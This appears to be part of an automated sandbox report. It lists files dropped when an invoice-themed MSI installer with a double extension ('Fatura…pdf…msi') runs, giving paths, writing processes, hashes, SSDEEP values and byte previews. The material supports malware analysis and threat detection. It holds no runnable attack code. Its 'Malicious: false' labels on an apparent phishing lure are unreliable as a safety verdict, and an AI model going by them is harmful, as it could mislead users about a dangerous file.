Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........B..U#.U#.U#.N.D.L#.N.p..#.N.q..#.\[I.Z#.U#..#.N.u.H#.N.A.T#.N.@.T#.N.G.T#.RichU#.........................PE..L.....U...........!.....z..........SL...............................................o....@..........................'..c.......x.......\|............\|..8.......$)..`...............................0...@............................................text....y.......z.................. ..`.rdata..............~..............@..@.data....E...0..."..................@....rsrc...\|............8..............@..@.reloc...=.......>...>..............@..B................................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSIA47F.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	300856
Entropy (8bit):	6.566429375406657
Encrypted:	false
SSDEEP:	3072:bCNrkQH7mY7iccAP4Yu3J5W7MZOGzs9B+JNc1F07KcnxGYu+Ueui38C2oSltrfVg:bAkA7iA4gM0TgNcAecnxGYu+scBQf4bv
MD5:	369A6CF512FEC341DCEB834C27E4D13E
SHA1:	68B77DE8B2619F787AA857C08A66A282DB078F22
SHA-256:	8CFFAE0C04713E045072B661D9173DD05F4D57A53F7E83703963A21F9CE88828
SHA-512:	4C95C40E0858D50903772DEA7F4E8E1E6044F31F1E92FFF1FE154C0D3446B6A5C7C88C8E1B76DC653CB1559F27BFFC175A3975C5C1B2D81197DACDDA1AE88888
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........B..U#.U#.U#.N.D.L#.N.p..#.N.q..#.\[I.Z#.U#..#.N.u.H#.N.A.T#.N.@.T#.N.G.T#.RichU#.........................PE..L.....U...........!.....z..........SL...............................................o....@..........................'..c.......x.......\|............\|..8.......$)..`...............................0...@............................................text....y.......z.................. ..`.rdata..............~..............@..@.data....E...0..."..................@....rsrc...\|............8..............@..@.reloc...=.......>...>..............@..B................................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSIB69.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	300856
Entropy (8bit):	6.566429375406657
Encrypted:	false
SSDEEP:	3072:bCNrkQH7mY7iccAP4Yu3J5W7MZOGzs9B+JNc1F07KcnxGYu+Ueui38C2oSltrfVg:bAkA7iA4gM0TgNcAecnxGYu+scBQf4bv
MD5:	369A6CF512FEC341DCEB834C27E4D13E
SHA1:	68B77DE8B2619F787AA857C08A66A282DB078F22
SHA-256:	8CFFAE0C04713E045072B661D9173DD05F4D57A53F7E83703963A21F9CE88828
SHA-512:	4C95C40E0858D50903772DEA7F4E8E1E6044F31F1E92FFF1FE154C0D3446B6A5C7C88C8E1B76DC653CB1559F27BFFC175A3975C5C1B2D81197DACDDA1AE88888
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........B..U#.U#.U#.N.D.L#.N.p..#.N.q..#.\[I.Z#.U#..#.N.u.H#.N.A.T#.N.@.T#.N.G.T#.RichU#.........................PE..L.....U...........!.....z..........SL...............................................o....@..........................'..c.......x.......\|............\|..8.......$)..`...............................0...@............................................text....y.......z.................. ..`.rdata..............~..............@..@.data....E...0..."..................@....rsrc...\|............8..............@..@.reloc...=.......>...>..............@..B................................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSIC7.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	2740146
Entropy (8bit):	6.555103841613297
Encrypted:	false
SSDEEP:	49152:5T9N2kEE3T9N2kEEWT9N2kEE8T9N2kEEwT9N2kEE4T9N2kEEqT9N2kEE8T9N2kEW:nNmGNmPNmRNmdNmxNmXNmNNmuNmC
MD5:	372052D814E76DF2D998089FC1875CAD
SHA1:	BC39D33B09F9AFED2DF59ABC837AC806DB5F47F1
SHA-256:	0196AF676626B4C5310796921E257C5D4B0A55C493BB8E2130E972D462DA96F2
SHA-512:	84EF73FA6D360C86C741CB84AB3970195400DFE9E028716A37624C6E76DC30B035E241A442D7186A74EA7C9D25E88D60FDCC3FA51E12DA60FCC92A8E14DE6311
Malicious:	false
Preview:	...@IXOS.@.....@...Y.@.....@.....@.....@.....@.....@......&.{5C6353ED-1D1D-4B1D-98DF-773281977790}..Fatura..Fatura227Pendente576.pdf674.msi.@.....@..`!.@.....@........&.{D73B406C-DCB8-4CFF-B5DD-A47A6ADEF626}.....@.....@.....@.....@.......@.....@.....@.......@......Fatura......Rollback..Rolling back action:....RollbackCleanup..Removing backup files..File: [1]...@.......@........ProcessComponents..Updating component registration...@.....@.....@.]....&.{D2154826-F81C-429F-9546-0615974E92B9}".01:\Software\Fatura\Fatura\Version.@.......@.....@.....@........WriteRegistryValues..Writing system registry values..Key: [1], Name: [2], Value: [3]...@.....@.....@.3..$..@......Software\Fatura\Fatura...@....%...Version..33.96.25.98%...Path-.C:\Users\user\AppData\Roaming\Fatura\Fatura\....aaa1....J...aaa1.@......8...MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........B..U#.U#.U#.N.D.L#.N.p..#.N.q..#.\[I.Z#.U#..#.N.u

C:\Windows\Installer\MSID39E.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	300856
Entropy (8bit):	6.566429375406657
Encrypted:	false
SSDEEP:	3072:bCNrkQH7mY7iccAP4Yu3J5W7MZOGzs9B+JNc1F07KcnxGYu+Ueui38C2oSltrfVg:bAkA7iA4gM0TgNcAecnxGYu+scBQf4bv
MD5:	369A6CF512FEC341DCEB834C27E4D13E
SHA1:	68B77DE8B2619F787AA857C08A66A282DB078F22
SHA-256:	8CFFAE0C04713E045072B661D9173DD05F4D57A53F7E83703963A21F9CE88828
SHA-512:	4C95C40E0858D50903772DEA7F4E8E1E6044F31F1E92FFF1FE154C0D3446B6A5C7C88C8E1B76DC653CB1559F27BFFC175A3975C5C1B2D81197DACDDA1AE88888
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........B..U#.U#.U#.N.D.L#.N.p..#.N.q..#.\[I.Z#.U#..#.N.u.H#.N.A.T#.N.@.T#.N.G.T#.RichU#.........................PE..L.....U...........!.....z..........SL...............................................o....@..........................'..c.......x.......\|............\|..8.......$)..`...............................0...@............................................text....y.......z.................. ..`.rdata..............~..............@..@.data....E...0..."..................@....rsrc...\|............8..............@..@.reloc...=.......>...>..............@..B................................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSIFFE9.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	93496
Entropy (8bit):	6.231777987055207
Encrypted:	false
SSDEEP:	1536:DqYUlkij4qptg7+OOHA5nnJ5apScCvi1o4jZA10KI0H:fU6ij4qpXqnnDiyAm6KdH
MD5:	8A89616B3C9E5847AE81203BABC3BBB5
SHA1:	67007128B1D9AAAA26B44EB683B9B2D50BBA1282
SHA-256:	DE9574CD2CA47121A832F767CA4ABE3569C2459BAF10FE0285D1FE39518542D6
SHA-512:	B1DD8FCFEF8AFD720B502A7EFEA663780E5E3A1B4C898DF76C3ECD70B36783CD5CED455741CC29369528907E5859DAE4D824DFED895E209FA4C476A842A168FF
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........Lc..Lc..Lc..R1r.Oc..E.u.Mc..E.e.Cc..Lc...c..E.\|.pc..E.d.Mc..R1b.Mc..E.g.Mc..RichLc..................PE..L...<..U...........!................n................................................Z....@..........................@.......9.......`...............R..8....p...............................................................2.......................text...!........................... ..`.rdata...h.......j..................@..@.data...d....P.......:..............@....rsrc........`.......>..............@..@.reloc..l....p.......D..............@..B................................................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\SourceHash{5C6353ED-1D1D-4B1D-98DF-773281977790}

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.1739426797356876
Encrypted:	false
SSDEEP:	12:JSbX72FjhAGiLIlHVRpyh/7777777777777777777777777vDHF6oYKOwhl0i8Q:JTQI5ikoHOnF
MD5:	2B39F6F4A4F6BBABB19965530367E5C0
SHA1:	6CF27B3FBA76C53A09575CD522EE8508724AAE11
SHA-256:	16AEA59EE7A5C6391863BDB94D0CF2830B45FA3ED69B4B679112CC9D04BA3B06
SHA-512:	73F2DA3642D2ADAD2D57946D7351343C812430F94EAC5967CAD134FD0E1329D6C968DEED1B295C4BBDDF444B2AAD87FC9EC08325DFFC4BDCB23D154C84DBC0A6
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\inprogressinstallinfo.ipi

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.5240916465247998
Encrypted:	false
SSDEEP:	48:L8PhKuRc06WXJ2nT53Y5/MSC/WAECiCyqor/MSC/cToOf:yhK1NnTWhM/1ECYM/a
MD5:	B75F700026C1E02B7CD7CB71F29EBA38
SHA1:	48DA8F7C5FC32A05E4C2D892BEAF801914675AE2
SHA-256:	E8679100CADA7BFFDDCB5C57350F2874C9C594062590B1D63F639BE059AD0AD6
SHA-512:	5AD16AAE99AF4323D5CCCB2A27C12631F83731DD79031B2FCC26CEEA5F8A02C3049B9932799ABFC8562B68AE8E17ABEE0273B9DF2D8D888C2DFCF53C0238590F
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	432220
Entropy (8bit):	5.3751852434542995
Encrypted:	false
SSDEEP:	1536:6qELG7gK+RaOOp3LCCpfmLgYI66xgFF9Sq8K6MAS2OMUHl6Gin327D22A26Kgau9:zTtbmkExhMJCIpErC
MD5:	BA336117BDF02E404B6A4B958C36D0CD
SHA1:	D3DCAE469812496636AF7EAAC249601D90283E07
SHA-256:	4FC5C4F1B1CAC718848D3BFE7039D6A990E908F404FAB8640C2503433D596A16
SHA-512:	55630DC91D77D3622327329C7CE90ED0C306883D4F5A19C650F5E8FFC1F80D2B7AB79B46B8467311BA58906821895D821F2D9283C8ED099ADBADDF07D4B6A467
Malicious:	false
Preview:	.To learn about increasing the verbosity of the NGen log files please see http://go.microsoft.com/fwlink/?linkid=210113..12/07/2019 14:54:22.458 [5488]: Command line: D:\wd\compilerTemp\BMT.200yuild.1bk\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe executeQueuedItems /nologo ..12/07/2019 14:54:22.473 [5488]: Executing command from offline queue: install "System.Runtime.WindowsRuntime.UI.Xaml, Version=4.0.0.0, Culture=Neutral, PublicKeyToken=b77a5c561934e089, processorArchitecture=msil" /NoDependencies /queue:1..12/07/2019 14:54:22.490 [5488]: Executing command from offline queue: install "System.Web.ApplicationServices, Version=4.0.0.0, Culture=Neutral, PublicKeyToken=31bf3856ad364e35, processorArchitecture=msil" /NoDependencies /queue:3..12/07/2019 14:54:22.490 [5488]: Exclusion list entry found for System.Web.ApplicationServices, Version=4.0.0.0, Culture=Neutral, PublicKeyToken=31bf3856ad364e35, processorArchitecture=msil; it will not be installed..12/07/2019 14:54:22.490 [

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	11608
Entropy (8bit):	4.890472898059848
Encrypted:	false
SSDEEP:	192:39smG3YrKkDQp5SVsm5emln9smKp5FiMDOmEN3H+OHgFKxoeRH83YrKk7Vsm5emK:cEU/iQ0HzAFGLCib4Sib47VoGIpN6KQc
MD5:	66B287A82D897FD706FD1C8A5098E8A5
SHA1:	9C5962E1ECA4CFC2D5BC8BA4C6C737F77EC524F8
SHA-256:	5009DAAF58FD83E555547764CC1AE0F55B664B4A41AEF5EECB1963C7F6A0C413
SHA-512:	5A5713E9F6F1A32E7120838EA5CC4651D1ADA684685D11B6DDEF1CCBD4ED759DAD9D857C36FB2F9B4B6637BCC27ABC3C89BE9428C4CB117817D3F6468DD1DEBB
Malicious:	false
Preview:	PSMODULECACHE......x.g.z..I...C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psm1........SafeGetCommand........Get-ScriptBlockScope....$...Get-DictionaryValueFromFirstKeyFound........New-PesterOption........Invoke-Pester........ResolveTestScripts........Set-ScriptBlockScope........-Z..z..a...C:\Program Files (x86)\WindowsPowerShell\Modules\PackageManagement\1.0.0.1\PackageManagement.psd1........Unregister-PackageSource........Save-Package........Install-PackageProvider........Find-PackageProvider........Install-Package........Get-PackageProvider........Get-Package........Uninstall-Package........Set-PackageSource........Get-PackageSource........Find-Package........Register-PackageSource........Import-PackageProvider.........x.g.z..I...C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........AfterEa

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Windows\Temp\__PSScriptPolicyTest_1ifwgvj0.jwb.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_1og4xmxd.bgz.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_1yre4u2v.h4l.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_4jpho134.4ol.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_co4chqjf.pmq.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_cxikpbwq.dov.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_e5lkzdii.cag.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_fq1y4qfn.z1g.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_gesbddu3.lxr.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_hbsyf4xr.5je.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_ihf0k1v4.ufy.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_o3eq4bec.vjx.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_ssbxkrqy.jn5.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_t4iv5kpq.tj1.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_x1nply1o.er4.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_xyevcysh.pvp.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\~DF0CC9F89D2E7587C4.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

